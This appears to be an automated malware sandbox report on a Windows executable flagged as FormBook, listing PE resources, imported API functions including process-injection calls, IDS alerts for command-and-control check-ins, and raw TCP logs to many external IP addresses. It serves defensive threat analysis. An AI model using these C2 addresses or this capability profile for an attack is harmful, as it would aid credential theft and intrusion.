RT_ICON	0xcbf90	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	Great Britain	0.25070356472795496
RT_ICON	0xcd038	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	Great Britain	0.3173758865248227
RT_MENU	0xcd4a0	0x50	data	English	Great Britain	0.9
RT_STRING	0xcd4f0	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xcda84	0x68a	data	English	Great Britain	0.2747909199522103
RT_STRING	0xce110	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xce5a0	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xceb9c	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xcf1f8	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xcf660	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xcf7b8	0x50bc9	data			1.0003356546929667
RT_GROUP_ICON	0x120384	0x76	data	English	Great Britain	0.6610169491525424
RT_GROUP_ICON	0x1203fc	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0x120410	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0x120424	0x14	data	English	Great Britain	1.25
RT_VERSION	0x120438	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0x120514	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	WSACleanup, socket, inet_ntoa, setsockopt, ntohs, recvfrom, ioctlsocket, htons, WSAStartup, __WSAFDIsSet, select, accept, listen, bind, closesocket, WSAGetLastError, recv, sendto, send, inet_addr, gethostbyname, gethostname, connect
VERSION.dll	GetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
WININET.dll	InternetQueryDataAvailable, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetConnectW
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
USERENV.dll	DestroyEnvironmentBlock, UnloadUserProfile, CreateEnvironmentBlock, LoadUserProfileW
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, SetCurrentDirectoryW, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, GetCurrentProcess, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, LoadLibraryW, VirtualAlloc, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, GetCurrentThread, CloseHandle, GetFullPathNameW, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, WriteConsoleW, FindClose, SetEnvironmentVariableA
USER32.dll	AdjustWindowRectEx, CopyImage, SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, SetRect, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, MonitorFromRect, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, UnregisterHotKey, CheckMenuRadioItem, CharLowerBuffW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, LoadImageW, GetClassNameW
GDI32.dll	StrokePath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, GetDeviceCaps, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, DeleteDC, GetPixel, CreateDCW, GetStockObject, GetTextFaceW, CreateFontW, SetTextColor, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, StrokeAndFillPath
COMDLG32.dll	GetOpenFileNameW, GetSaveFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, RegCreateKeyExW, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, AddAce, SetSecurityDescriptorDacl, GetUserNameW, InitiateSystemShutdownExW
SHELL32.dll	DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoSetProxyBlanket, CoCreateInstanceEx, CoInitializeSecurity
OLEAUT32.dll	LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, RegisterTypeLib, CreateStdDispatch, DispCallFunc, VariantChangeType, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, VariantCopy, VariantClear, OleLoadPicture, QueryPathOfRegTypeLib, RegisterTypeLibForUser, UnRegisterTypeLibForUser, UnRegisterTypeLib, CreateDispTypeInfo, SysAllocString, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-12T00:18:31.734026+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49740	3.33.130.190	80	TCP
2024-12-12T00:18:48.956793+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49776	161.97.142.144	80	TCP
2024-12-12T00:18:51.613514+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49782	161.97.142.144	80	TCP
2024-12-12T00:18:54.046754+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49789	161.97.142.144	80	TCP
2024-12-12T00:18:56.671115+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49795	161.97.142.144	80	TCP
2024-12-12T00:19:03.680032+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49811	84.32.84.32	80	TCP
2024-12-12T00:19:06.350235+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49817	84.32.84.32	80	TCP
2024-12-12T00:19:09.037215+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49824	84.32.84.32	80	TCP
2024-12-12T00:19:11.739098+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49834	84.32.84.32	80	TCP
2024-12-12T00:19:19.281036+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49850	124.71.162.21	80	TCP
2024-12-12T00:19:22.002152+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49856	124.71.162.21	80	TCP
2024-12-12T00:19:24.709648+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49864	124.71.162.21	80	TCP
2024-12-12T00:19:27.352460+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49873	124.71.162.21	80	TCP
2024-12-12T00:19:34.784764+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49889	150.109.11.247	80	TCP
2024-12-12T00:19:37.440962+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49896	150.109.11.247	80	TCP
2024-12-12T00:19:40.097013+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49902	150.109.11.247	80	TCP
2024-12-12T00:19:42.778154+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49911	150.109.11.247	80	TCP
2024-12-12T00:19:50.045715+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49929	173.208.249.155	80	TCP
2024-12-12T00:19:52.710837+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49935	173.208.249.155	80	TCP
2024-12-12T00:19:55.398864+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49941	173.208.249.155	80	TCP
2024-12-12T00:19:58.045150+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49951	173.208.249.155	80	TCP
2024-12-12T00:20:04.998936+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49967	209.74.79.42	80	TCP
2024-12-12T00:20:07.656869+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49974	209.74.79.42	80	TCP
2024-12-12T00:20:10.574431+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49980	209.74.79.42	80	TCP
2024-12-12T00:20:12.985064+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49986	209.74.79.42	80	TCP
2024-12-12T00:20:21.003076+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50001	18.139.62.226	80	TCP
2024-12-12T00:20:23.660886+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50002	18.139.62.226	80	TCP
2024-12-12T00:20:26.315495+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50003	18.139.62.226	80	TCP
2024-12-12T00:20:29.047423+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	50004	18.139.62.226	80	TCP
2024-12-12T00:20:36.572504+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50005	101.32.205.61	80	TCP
2024-12-12T00:20:39.237742+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50006	101.32.205.61	80	TCP
2024-12-12T00:20:41.893843+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50007	101.32.205.61	80	TCP
2024-12-12T00:20:44.566392+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	50008	101.32.205.61	80	TCP
2024-12-12T00:20:54.154006+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50009	38.6.78.235	80	TCP
2024-12-12T00:20:56.845702+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50010	38.6.78.235	80	TCP
2024-12-12T00:20:59.519970+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50011	38.6.78.235	80	TCP
2024-12-12T00:21:02.186163+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	50012	38.6.78.235	80	TCP
2024-12-12T00:21:09.175863+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50013	3.125.36.175	80	TCP
2024-12-12T00:21:11.851422+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50014	3.125.36.175	80	TCP
2024-12-12T00:21:14.495151+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50015	3.125.36.175	80	TCP
2024-12-12T00:21:17.158405+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	50016	3.125.36.175	80	TCP
2024-12-12T00:21:24.143527+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50017	172.67.176.240	80	TCP
2024-12-12T00:21:26.799915+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50018	172.67.176.240	80	TCP
2024-12-12T00:21:29.458673+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50019	172.67.176.240	80	TCP
2024-12-12T00:22:10.730053+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	50020	172.67.176.240	80	TCP
2024-12-12T00:22:18.180926+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50021	45.41.80.144	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 12, 2024 00:18:30.516129017 CET	49740	80	192.168.2.5	3.33.130.190
Dec 12, 2024 00:18:30.635577917 CET	80	49740	3.33.130.190	192.168.2.5
Dec 12, 2024 00:18:30.635677099 CET	49740	80	192.168.2.5	3.33.130.190
Dec 12, 2024 00:18:30.643790960 CET	49740	80	192.168.2.5	3.33.130.190
Dec 12, 2024 00:18:30.763384104 CET	80	49740	3.33.130.190	192.168.2.5
Dec 12, 2024 00:18:31.733844995 CET	80	49740	3.33.130.190	192.168.2.5
Dec 12, 2024 00:18:31.733886003 CET	80	49740	3.33.130.190	192.168.2.5
Dec 12, 2024 00:18:31.734025955 CET	49740	80	192.168.2.5	3.33.130.190
Dec 12, 2024 00:18:31.737024069 CET	49740	80	192.168.2.5	3.33.130.190
Dec 12, 2024 00:18:31.857561111 CET	80	49740	3.33.130.190	192.168.2.5
Dec 12, 2024 00:18:47.313631058 CET	49776	80	192.168.2.5	161.97.142.144
Dec 12, 2024 00:18:47.435051918 CET	80	49776	161.97.142.144	192.168.2.5
Dec 12, 2024 00:18:47.435345888 CET	49776	80	192.168.2.5	161.97.142.144
Dec 12, 2024 00:18:47.449197054 CET	49776	80	192.168.2.5	161.97.142.144
Dec 12, 2024 00:18:47.570349932 CET	80	49776	161.97.142.144	192.168.2.5
Dec 12, 2024 00:18:48.956793070 CET	49776	80	192.168.2.5	161.97.142.144
Dec 12, 2024 00:18:49.076514006 CET	80	49776	161.97.142.144	192.168.2.5
Dec 12, 2024 00:18:49.076602936 CET	49776	80	192.168.2.5	161.97.142.144
Dec 12, 2024 00:18:49.975003958 CET	49782	80	192.168.2.5	161.97.142.144
Dec 12, 2024 00:18:50.094824076 CET	80	49782	161.97.142.144	192.168.2.5
Dec 12, 2024 00:18:50.094984055 CET	49782	80	192.168.2.5	161.97.142.144
Dec 12, 2024 00:18:50.110093117 CET	49782	80	192.168.2.5	161.97.142.144
Dec 12, 2024 00:18:50.229675055 CET	80	49782	161.97.142.144	192.168.2.5
Dec 12, 2024 00:18:51.613513947 CET	49782	80	192.168.2.5	161.97.142.144
Dec 12, 2024 00:18:51.733659029 CET	80	49782	161.97.142.144	192.168.2.5
Dec 12, 2024 00:18:51.733798981 CET	49782	80	192.168.2.5	161.97.142.144
Dec 12, 2024 00:18:52.644486904 CET	49789	80	192.168.2.5	161.97.142.144
Dec 12, 2024 00:18:52.763864040 CET	80	49789	161.97.142.144	192.168.2.5
Dec 12, 2024 00:18:52.763969898 CET	49789	80	192.168.2.5	161.97.142.144
Dec 12, 2024 00:18:52.778666973 CET	49789	80	192.168.2.5	161.97.142.144
Dec 12, 2024 00:18:52.897998095 CET	80	49789	161.97.142.144	192.168.2.5
Dec 12, 2024 00:18:52.898037910 CET	80	49789	161.97.142.144	192.168.2.5
Dec 12, 2024 00:18:54.046468973 CET	80	49789	161.97.142.144	192.168.2.5
Dec 12, 2024 00:18:54.046612024 CET	80	49789	161.97.142.144	192.168.2.5
Dec 12, 2024 00:18:54.046668053 CET	80	49789	161.97.142.144	192.168.2.5
Dec 12, 2024 00:18:54.046753883 CET	49789	80	192.168.2.5	161.97.142.144
Dec 12, 2024 00:18:54.046909094 CET	49789	80	192.168.2.5	161.97.142.144
Dec 12, 2024 00:18:54.284904957 CET	49789	80	192.168.2.5	161.97.142.144
Dec 12, 2024 00:18:55.304740906 CET	49795	80	192.168.2.5	161.97.142.144
Dec 12, 2024 00:18:55.424127102 CET	80	49795	161.97.142.144	192.168.2.5
Dec 12, 2024 00:18:55.424264908 CET	49795	80	192.168.2.5	161.97.142.144
Dec 12, 2024 00:18:55.433875084 CET	49795	80	192.168.2.5	161.97.142.144
Dec 12, 2024 00:18:55.553216934 CET	80	49795	161.97.142.144	192.168.2.5
Dec 12, 2024 00:18:56.670917988 CET	80	49795	161.97.142.144	192.168.2.5
Dec 12, 2024 00:18:56.670947075 CET	80	49795	161.97.142.144	192.168.2.5
Dec 12, 2024 00:18:56.670959949 CET	80	49795	161.97.142.144	192.168.2.5
Dec 12, 2024 00:18:56.671051979 CET	80	49795	161.97.142.144	192.168.2.5
Dec 12, 2024 00:18:56.671114922 CET	49795	80	192.168.2.5	161.97.142.144
Dec 12, 2024 00:18:56.671207905 CET	49795	80	192.168.2.5	161.97.142.144
Dec 12, 2024 00:18:56.675672054 CET	49795	80	192.168.2.5	161.97.142.144
Dec 12, 2024 00:18:56.796274900 CET	80	49795	161.97.142.144	192.168.2.5
Dec 12, 2024 00:19:02.457987070 CET	49811	80	192.168.2.5	84.32.84.32
Dec 12, 2024 00:19:02.579817057 CET	80	49811	84.32.84.32	192.168.2.5
Dec 12, 2024 00:19:02.579968929 CET	49811	80	192.168.2.5	84.32.84.32
Dec 12, 2024 00:19:02.598135948 CET	49811	80	192.168.2.5	84.32.84.32
Dec 12, 2024 00:19:02.718694925 CET	80	49811	84.32.84.32	192.168.2.5
Dec 12, 2024 00:19:03.679753065 CET	80	49811	84.32.84.32	192.168.2.5
Dec 12, 2024 00:19:03.680032015 CET	49811	80	192.168.2.5	84.32.84.32
Dec 12, 2024 00:19:04.113233089 CET	49811	80	192.168.2.5	84.32.84.32
Dec 12, 2024 00:19:04.233128071 CET	80	49811	84.32.84.32	192.168.2.5
Dec 12, 2024 00:19:05.132798910 CET	49817	80	192.168.2.5	84.32.84.32
Dec 12, 2024 00:19:05.252007961 CET	80	49817	84.32.84.32	192.168.2.5
Dec 12, 2024 00:19:05.252170086 CET	49817	80	192.168.2.5	84.32.84.32
Dec 12, 2024 00:19:05.270868063 CET	49817	80	192.168.2.5	84.32.84.32
Dec 12, 2024 00:19:05.390355110 CET	80	49817	84.32.84.32	192.168.2.5
Dec 12, 2024 00:19:06.350045919 CET	80	49817	84.32.84.32	192.168.2.5
Dec 12, 2024 00:19:06.350234985 CET	49817	80	192.168.2.5	84.32.84.32
Dec 12, 2024 00:19:06.784832001 CET	49817	80	192.168.2.5	84.32.84.32
Dec 12, 2024 00:19:06.906361103 CET	80	49817	84.32.84.32	192.168.2.5
Dec 12, 2024 00:19:07.819020033 CET	49824	80	192.168.2.5	84.32.84.32
Dec 12, 2024 00:19:07.939280987 CET	80	49824	84.32.84.32	192.168.2.5
Dec 12, 2024 00:19:07.939539909 CET	49824	80	192.168.2.5	84.32.84.32
Dec 12, 2024 00:19:07.958623886 CET	49824	80	192.168.2.5	84.32.84.32
Dec 12, 2024 00:19:08.079368114 CET	80	49824	84.32.84.32	192.168.2.5
Dec 12, 2024 00:19:08.079404116 CET	80	49824	84.32.84.32	192.168.2.5
Dec 12, 2024 00:19:09.037125111 CET	80	49824	84.32.84.32	192.168.2.5
Dec 12, 2024 00:19:09.037214994 CET	49824	80	192.168.2.5	84.32.84.32
Dec 12, 2024 00:19:09.472280979 CET	49824	80	192.168.2.5	84.32.84.32
Dec 12, 2024 00:19:09.594629049 CET	80	49824	84.32.84.32	192.168.2.5
Dec 12, 2024 00:19:10.515654087 CET	49834	80	192.168.2.5	84.32.84.32
Dec 12, 2024 00:19:10.637370110 CET	80	49834	84.32.84.32	192.168.2.5
Dec 12, 2024 00:19:10.637641907 CET	49834	80	192.168.2.5	84.32.84.32
Dec 12, 2024 00:19:10.651905060 CET	49834	80	192.168.2.5	84.32.84.32
Dec 12, 2024 00:19:10.773556948 CET	80	49834	84.32.84.32	192.168.2.5
Dec 12, 2024 00:19:11.738887072 CET	80	49834	84.32.84.32	192.168.2.5
Dec 12, 2024 00:19:11.738903046 CET	80	49834	84.32.84.32	192.168.2.5
Dec 12, 2024 00:19:11.738919020 CET	80	49834	84.32.84.32	192.168.2.5
Dec 12, 2024 00:19:11.739078999 CET	80	49834	84.32.84.32	192.168.2.5
Dec 12, 2024 00:19:11.739093065 CET	80	49834	84.32.84.32	192.168.2.5
Dec 12, 2024 00:19:11.739098072 CET	49834	80	192.168.2.5	84.32.84.32
Dec 12, 2024 00:19:11.739108086 CET	80	49834	84.32.84.32	192.168.2.5
Dec 12, 2024 00:19:11.739124060 CET	80	49834	84.32.84.32	192.168.2.5
Dec 12, 2024 00:19:11.739264965 CET	49834	80	192.168.2.5	84.32.84.32
Dec 12, 2024 00:19:11.739264965 CET	49834	80	192.168.2.5	84.32.84.32
Dec 12, 2024 00:19:11.739656925 CET	80	49834	84.32.84.32	192.168.2.5
Dec 12, 2024 00:19:11.739672899 CET	80	49834	84.32.84.32	192.168.2.5
Dec 12, 2024 00:19:11.739686966 CET	80	49834	84.32.84.32	192.168.2.5
Dec 12, 2024 00:19:11.739712954 CET	49834	80	192.168.2.5	84.32.84.32
Dec 12, 2024 00:19:11.739801884 CET	49834	80	192.168.2.5	84.32.84.32
Dec 12, 2024 00:19:11.746840954 CET	80	49834	84.32.84.32	192.168.2.5
Dec 12, 2024 00:19:11.746958017 CET	49834	80	192.168.2.5	84.32.84.32
Dec 12, 2024 00:19:11.748136044 CET	49834	80	192.168.2.5	84.32.84.32
Dec 12, 2024 00:19:11.867935896 CET	80	49834	84.32.84.32	192.168.2.5
Dec 12, 2024 00:19:17.679075003 CET	49850	80	192.168.2.5	124.71.162.21
Dec 12, 2024 00:19:17.799947977 CET	80	49850	124.71.162.21	192.168.2.5
Dec 12, 2024 00:19:17.800096035 CET	49850	80	192.168.2.5	124.71.162.21
Dec 12, 2024 00:19:17.815320969 CET	49850	80	192.168.2.5	124.71.162.21
Dec 12, 2024 00:19:17.936325073 CET	80	49850	124.71.162.21	192.168.2.5
Dec 12, 2024 00:19:19.280900002 CET	80	49850	124.71.162.21	192.168.2.5
Dec 12, 2024 00:19:19.280961990 CET	80	49850	124.71.162.21	192.168.2.5
Dec 12, 2024 00:19:19.281035900 CET	49850	80	192.168.2.5	124.71.162.21
Dec 12, 2024 00:19:19.331598997 CET	49850	80	192.168.2.5	124.71.162.21
Dec 12, 2024 00:19:20.397514105 CET	49856	80	192.168.2.5	124.71.162.21
Dec 12, 2024 00:19:20.518379927 CET	80	49856	124.71.162.21	192.168.2.5
Dec 12, 2024 00:19:20.518501997 CET	49856	80	192.168.2.5	124.71.162.21
Dec 12, 2024 00:19:20.532223940 CET	49856	80	192.168.2.5	124.71.162.21
Dec 12, 2024 00:19:20.653152943 CET	80	49856	124.71.162.21	192.168.2.5
Dec 12, 2024 00:19:22.001977921 CET	80	49856	124.71.162.21	192.168.2.5
Dec 12, 2024 00:19:22.002048016 CET	80	49856	124.71.162.21	192.168.2.5
Dec 12, 2024 00:19:22.002151966 CET	49856	80	192.168.2.5	124.71.162.21
Dec 12, 2024 00:19:22.034986973 CET	49856	80	192.168.2.5	124.71.162.21
Dec 12, 2024 00:19:23.085546970 CET	49864	80	192.168.2.5	124.71.162.21
Dec 12, 2024 00:19:23.205087900 CET	80	49864	124.71.162.21	192.168.2.5
Dec 12, 2024 00:19:23.205200911 CET	49864	80	192.168.2.5	124.71.162.21
Dec 12, 2024 00:19:23.218812943 CET	49864	80	192.168.2.5	124.71.162.21
Dec 12, 2024 00:19:23.340223074 CET	80	49864	124.71.162.21	192.168.2.5
